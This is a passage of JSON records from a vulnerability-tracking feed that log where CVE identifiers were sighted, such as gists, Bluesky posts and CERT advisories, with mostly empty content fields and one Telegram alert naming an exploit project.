{"uuid": "ef8068e6-4168-4e50-921d-0b3cb92d9218", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/4dde6e47757fc4ffbba44a452fc8fb0b", "content": "", "creation_timestamp": "2026-04-08T02:16:52.000000Z"}, {"uuid": "bce614ee-1a0e-4d2b-a0d1-657b247a3f45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/9e3816843361a01a5b125b7934f18063", "content": "", "creation_timestamp": "2026-04-08T02:26:40.000000Z"}, {"uuid": "311637c2-1b71-46ff-9663-55523dd7802c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/d610399c6607a5d47bd5cb37094a3621", "content": "", "creation_timestamp": "2026-04-08T02:30:17.000000Z"}, {"uuid": "27f0dcb5-a959-4e7d-96aa-9a07b8c8dfd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/06ba07fadf0472f46e05ae98f5673cc9", "content": "", "creation_timestamp": "2026-04-08T02:39:43.000000Z"}, {"uuid": "cd32db85-9186-432a-814e-d9a3c9819ba3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/bacf3230d57af6a96c48729fbbc49df0", "content": "", "creation_timestamp": "2026-04-08T02:52:34.000000Z"}, {"uuid": "a4c278ca-086a-408e-baa0-c01b518fb0b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/5ac91b2f0aae0b714cc52f521c86b058", "content": "", "creation_timestamp": "2026-04-08T03:01:50.000000Z"}, {"uuid": "ffc272b8-322d-4759-b9f0-bfe88a3a952f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/a827f844633191bb29d64005170eb074", "content": "", "creation_timestamp": "2026-04-08T03:13:25.000000Z"}, {"uuid": "0ceda6e8-d93f-443c-b6dd-2ac4396071fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/6a7e31dbe1cd3078f24b63e688c011ca", "content": "", "creation_timestamp": "2026-04-08T03:21:15.000000Z"}, {"uuid": "ac91899b-3294-4a3e-9213-e7ba1d0ea5c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/10c45736e96e41f133464de7c978d5da", "content": "", "creation_timestamp": "2026-04-08T03:28:31.000000Z"}, {"uuid": "f07a333e-3614-4e1c-b99c-589e7e6b7314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/c6711c7f6eceaa5ffed0f2469e6100ec", "content": "", "creation_timestamp": "2026-04-08T03:35:58.000000Z"}, {"uuid": "8866f5af-c478-4e55-925d-cf0e5eddc947", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/91278bc508fdb8907b02b74cbbd24a62", "content": "", "creation_timestamp": "2026-04-08T03:44:55.000000Z"}, {"uuid": "d77d8bf8-76c2-4f75-ae8f-a4fcc65ed9f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/bdc9631f013c83ccc66b7fe3203c3cd3", "content": "", "creation_timestamp": "2026-04-08T03:48:47.000000Z"}, {"uuid": "54ee77b1-c755-4ead-9fdf-b896ad56457f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/ff6adacf29fff902ced353d947a8f4ea", "content": "", "creation_timestamp": "2026-04-08T03:59:03.000000Z"}, {"uuid": "4f9c2dfa-06c5-4818-8431-0e25430bb2ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/375324b3fe151baa9742198cad3d93a5", "content": "", "creation_timestamp": "2026-04-08T04:11:18.000000Z"}, {"uuid": "ec77c452-f277-4947-a7ee-2e74404d1410", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27144", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mixgtgp6sn25", "content": "", "creation_timestamp": "2026-04-08T04:18:57.434160Z"}, {"uuid": "d3e4b893-3865-4814-9aaf-51c99501add0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/eb7e6ff1b8e0816dcfbae2e9dc4e5f8c", "content": "", "creation_timestamp": "2026-04-08T04:20:39.000000Z"}, {"uuid": "8440c900-34ff-451f-b99a-7b9b7cff3020", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27140", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mixgxw3ur722", "content": "", "creation_timestamp": "2026-04-08T04:21:27.833612Z"}, {"uuid": "13c2ae87-c7e7-4794-8445-8e5c72b7b627", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/85bcb0ec0d1f7dfcfdb2444cd38d7562", "content": "", "creation_timestamp": "2026-04-08T04:29:44.000000Z"}, {"uuid": "ee2b0d1e-8a36-40b5-869a-eb50f2478ec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/ede6c23a37731916e855d1f88ba4e6ba", "content": "", "creation_timestamp": "2026-04-08T04:42:54.000000Z"}, {"uuid": "c277a44f-ebf9-4806-9ba6-2159b893fdac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/51ccadb721f3719a65de0231d63716b6", "content": "", "creation_timestamp": "2026-04-08T04:34:28.000000Z"}, {"uuid": "ffecc004-c99a-4689-9a61-a2a4b1ccf2a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/13025c6bbbeab98be17692143d1b9fa9", "content": "", "creation_timestamp": "2026-04-08T04:51:57.000000Z"}, {"uuid": "4ebea099-2c84-42e0-b7ac-899b35a67ada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/26139ee16f5373b7da5c2b5a798cd7ee", "content": "", "creation_timestamp": "2026-04-08T05:03:05.000000Z"}, {"uuid": "7edb044a-0ddf-4d0f-a4d7-2b3d016237b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/46680fec470cc728fa5c5cd0a225eb46", "content": "", "creation_timestamp": "2026-04-08T05:12:03.000000Z"}, {"uuid": "0aea390f-b6f6-4763-b925-0c06998abba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/eeea921e425d7a8ba7f57b766e9bb90f", "content": "", "creation_timestamp": "2026-04-08T05:21:28.000000Z"}, {"uuid": "6e884701-93ae-4f77-a107-b38f28631bcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/4070553659afd7f075846557c038ef58", "content": "", "creation_timestamp": "2026-04-08T05:37:30.000000Z"}, {"uuid": "5beda1e1-bb63-49a6-9fcc-b10f133d9be7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/8e5bba2f8c29d787798dacd7ce972b0e", "content": "", "creation_timestamp": "2026-04-08T05:46:13.000000Z"}, {"uuid": "edefea7c-d245-4e44-8f47-6b0abb2b6892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/071ae355d5cdc71a85ac1dc176315721", "content": "", "creation_timestamp": "2026-04-08T05:56:15.000000Z"}, {"uuid": "304f0d36-265e-45c3-88f9-536a925bea19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/e29fcda8c5aa8d895bed9af315a07e96", "content": "", "creation_timestamp": "2026-04-08T06:07:14.000000Z"}, {"uuid": "a317aa85-3227-41f0-8f2e-c7b14d69e4ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/06e99431384a2f7421e6a86ae5b80c49", "content": "", "creation_timestamp": "2026-04-08T06:15:51.000000Z"}, {"uuid": "5b7e7b73-c9fc-4703-9437-51d0a7c8f9aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/ca98c6348f0e454dc3c4367a68c88aee", "content": "", "creation_timestamp": "2026-04-08T06:26:59.000000Z"}, {"uuid": "ec3ad6df-c33d-4a23-9b66-6f159b044702", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/103f439c5cd364ba4b407d8c7d8e6538", "content": "", "creation_timestamp": "2026-04-08T06:35:56.000000Z"}, {"uuid": "e3d10d9f-5dbe-471e-a554-7a7f4b6d72d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/b1df188bf26c9b450bb5ba093ae1b197", "content": "", "creation_timestamp": "2026-04-08T06:45:22.000000Z"}, {"uuid": "4409cfb5-7e58-4f92-aae0-3b9d1dcc99de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27651", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0376/", "content": "", "creation_timestamp": "2026-03-29T17:00:00.000000Z"}, {"uuid": "4f6da2bb-998b-45d0-bb7e-e056b611729d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0376/", "content": "", "creation_timestamp": "2026-03-29T17:00:00.000000Z"}, {"uuid": "af73c533-a6f2-454d-a6bf-f143014a00b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/9a3c55c4f47a75b35bef6235f01b354e", "content": "", "creation_timestamp": "2026-04-08T06:53:03.000000Z"}, {"uuid": "25a92626-e8b8-4f2b-9b03-7aa562155c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/beb48a7fbc1e4efb539c68c2c79fe813", "content": "", "creation_timestamp": "2026-04-08T06:59:22.000000Z"}, {"uuid": "c7656f99-0a58-48ac-83ba-912c4885bbb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/1ec36118fd99260da893688b9c7032ef", "content": "", "creation_timestamp": "2026-04-08T07:13:41.000000Z"}, {"uuid": "3dc9d867-3eb8-45c5-a03e-2358efa8d60c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27784", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0376/", "content": "", "creation_timestamp": "2026-03-29T17:00:00.000000Z"}, {"uuid": "1edf1e1b-1157-451e-9540-4e27e4eb9b8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-013/", "content": "", "creation_timestamp": "2026-03-29T17:00:00.000000Z"}, {"uuid": "9da93350-d91c-42ee-a96d-0c366f877b22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/e33c556168eda176b7d8f315f72bab02", "content": "", "creation_timestamp": "2026-04-08T07:28:12.000000Z"}, {"uuid": "45fc803c-c215-474e-b742-e900aba77456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/6944cdeb1d7ae0f3907c4be55c202c4e", "content": "", "creation_timestamp": "2026-04-08T07:35:24.000000Z"}, {"uuid": "19ae670a-674b-436d-b2bb-d565bf758b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/5f667b5601293de817cb4a193be36d4a", "content": "", "creation_timestamp": "2026-04-08T07:41:49.000000Z"}, {"uuid": "fa8d62fa-5298-461d-8904-47e775e86150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/373bf646965203019dd13289f52246e9", "content": "", "creation_timestamp": "2026-04-08T07:41:27.000000Z"}, {"uuid": "12e54443-8205-4a53-8da4-f010a806ee30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27787", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mixspefv4u2i", "content": "", "creation_timestamp": "2026-04-08T07:51:25.689319Z"}, {"uuid": "717f7adb-06d3-4203-9f7e-812b19e5cfc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/e8dec6bc84b2887da2b49a374f4a73f1", "content": "", "creation_timestamp": "2026-04-08T07:52:41.000000Z"}, {"uuid": "27b37109-dd17-49f6-977a-7490757f99e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/83f14f0ab235eed82b2997c7f0be0270", "content": "", "creation_timestamp": "2026-04-08T07:59:24.000000Z"}, {"uuid": "5746aa84-6181-453c-a05b-c6546160b84a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/bfbe4ee770aa72099fef194bc581f7f6", "content": "", "creation_timestamp": "2026-04-08T08:31:33.000000Z"}, {"uuid": "63b11230-1085-456f-8ec5-e9da19ec7564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/1d36ad3c884398561fc3eb495f564b5c", "content": "", "creation_timestamp": "2026-04-08T08:31:06.000000Z"}, {"uuid": "4647ab66-90f4-484d-ac5a-574347981f6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/6d162ecd56fed90e01c8541f8adc9537", "content": "", "creation_timestamp": "2026-04-08T08:42:58.000000Z"}, {"uuid": "64c957b1-0bb4-4a30-8f31-349e69f7607c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27205", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0395/", "content": "", "creation_timestamp": "2026-04-02T17:00:00.000000Z"}, {"uuid": "88d82981-a01d-4104-97c2-e68b478f1bc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27199", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0395/", "content": "", "creation_timestamp": "2026-04-02T17:00:00.000000Z"}, {"uuid": "b0f6bfc5-9341-4ad9-9835-5ed2fac08833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://gist.github.com/legion2002/4c32eae4e23ca3b610373311b05b1e0c", "content": "", "creation_timestamp": "2026-04-08T08:54:52.000000Z"}, {"uuid": "b8c47627-0d87-49c9-b4c2-5294a723b824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27540", "type": "seen", "source": "https://t.me/GithubRedTeam/80794", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27542-CVE-2026-27540-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Nxploited\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-18 08:56:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated Privilege | Unauthenticated Arbitrary File Upload\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-18T09:00:04.000000Z"}, {"uuid": "508d6e76-1f6a-4edd-ba53-bbc168d33494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27542", "type": "seen", "source": "https://t.me/GithubRedTeam/80794", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27542-CVE-2026-27540-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Nxploited\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-18 08:56:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated Privilege | Unauthenticated Arbitrary File Upload\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-18T09:00:04.000000Z"}, {"uuid": "ec4f9972-2172-47be-9a00-b35d4565f09e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27787", "type": "seen", "source": "https://jvn.jp/en/jp/JVN33581068/", "content": "", "creation_timestamp": "2026-04-07T20:00:00.000000Z"}, {"uuid": "a8ffec21-fe2e-4423-abc0-2ac2703d6ba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27102", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miyl2qbupd2i", "content": "", "creation_timestamp": "2026-04-08T15:07:17.220398Z"}, {"uuid": "b1c72460-d5b8-4eab-8cbb-b6ebd1bc7bc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27102", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-27102", "content": "", "creation_timestamp": "2026-04-08T04:16:41.000000Z"}, {"uuid": "9746b912-c37d-4ef4-a62a-9d284fe7d0b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27697", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3miz3w7bll22f", "content": "", "creation_timestamp": "2026-04-08T20:08:58.923274Z"}, {"uuid": "8daaaa64-df7f-45d7-9ba0-257900215258", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27629", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3miz6tnr46m2h", "content": "", "creation_timestamp": "2026-04-08T21:01:14.621395Z"}, {"uuid": "a369dcf7-7e01-4ee5-b67b-fcbc76bc62fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27806", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mj2dpdevoz2r", "content": "", "creation_timestamp": "2026-04-09T08:00:58.158859Z"}, {"uuid": "0548942e-4b35-481e-8ed8-5ab22825a423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2712", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj4aqqaerl25", "content": "", "creation_timestamp": "2026-04-10T02:13:23.230084Z"}, {"uuid": "7835dc0e-a772-459b-bfeb-18369742a5b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27885", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mj4dqtckxm2u", "content": "", "creation_timestamp": "2026-04-10T03:07:07.742079Z"}, {"uuid": "e388f38a-32f9-4bab-b264-b8d209cd4e31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mj4hgg75pq2o", "content": "", "creation_timestamp": "2026-04-10T04:12:53.331931Z"}, {"uuid": "756b6530-3870-42d7-ac8d-b8aa8957dff9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27841", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkbtoxhfi72w", "content": "", "creation_timestamp": "2026-04-25T01:00:55.666955Z"}, {"uuid": "d546d2ca-f02e-4c98-83e9-57329dbbe8fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27834", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mj537tvftz2w", "content": "", "creation_timestamp": "2026-04-10T10:07:07.441057Z"}, {"uuid": "4c82f004-6db4-4d72-bfb1-388774da42b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27833", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mj5imz5axm2f", "content": "", "creation_timestamp": "2026-04-10T14:07:08.307263Z"}, {"uuid": "e1d52c0a-c166-47d8-a6e8-1157df724471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27486", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3mj5shtnsfx27", "content": "", "creation_timestamp": "2026-04-10T17:03:11.825725Z"}, {"uuid": "d49c6e75-79fa-4978-a0d8-606ee69c637c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27486", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj5xju2hzy2o", "content": "", "creation_timestamp": "2026-04-10T18:33:48.094224Z"}, {"uuid": "78c3de72-025b-4d65-8a34-8d7fb0ac2d3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mj6hd5esrn2d", 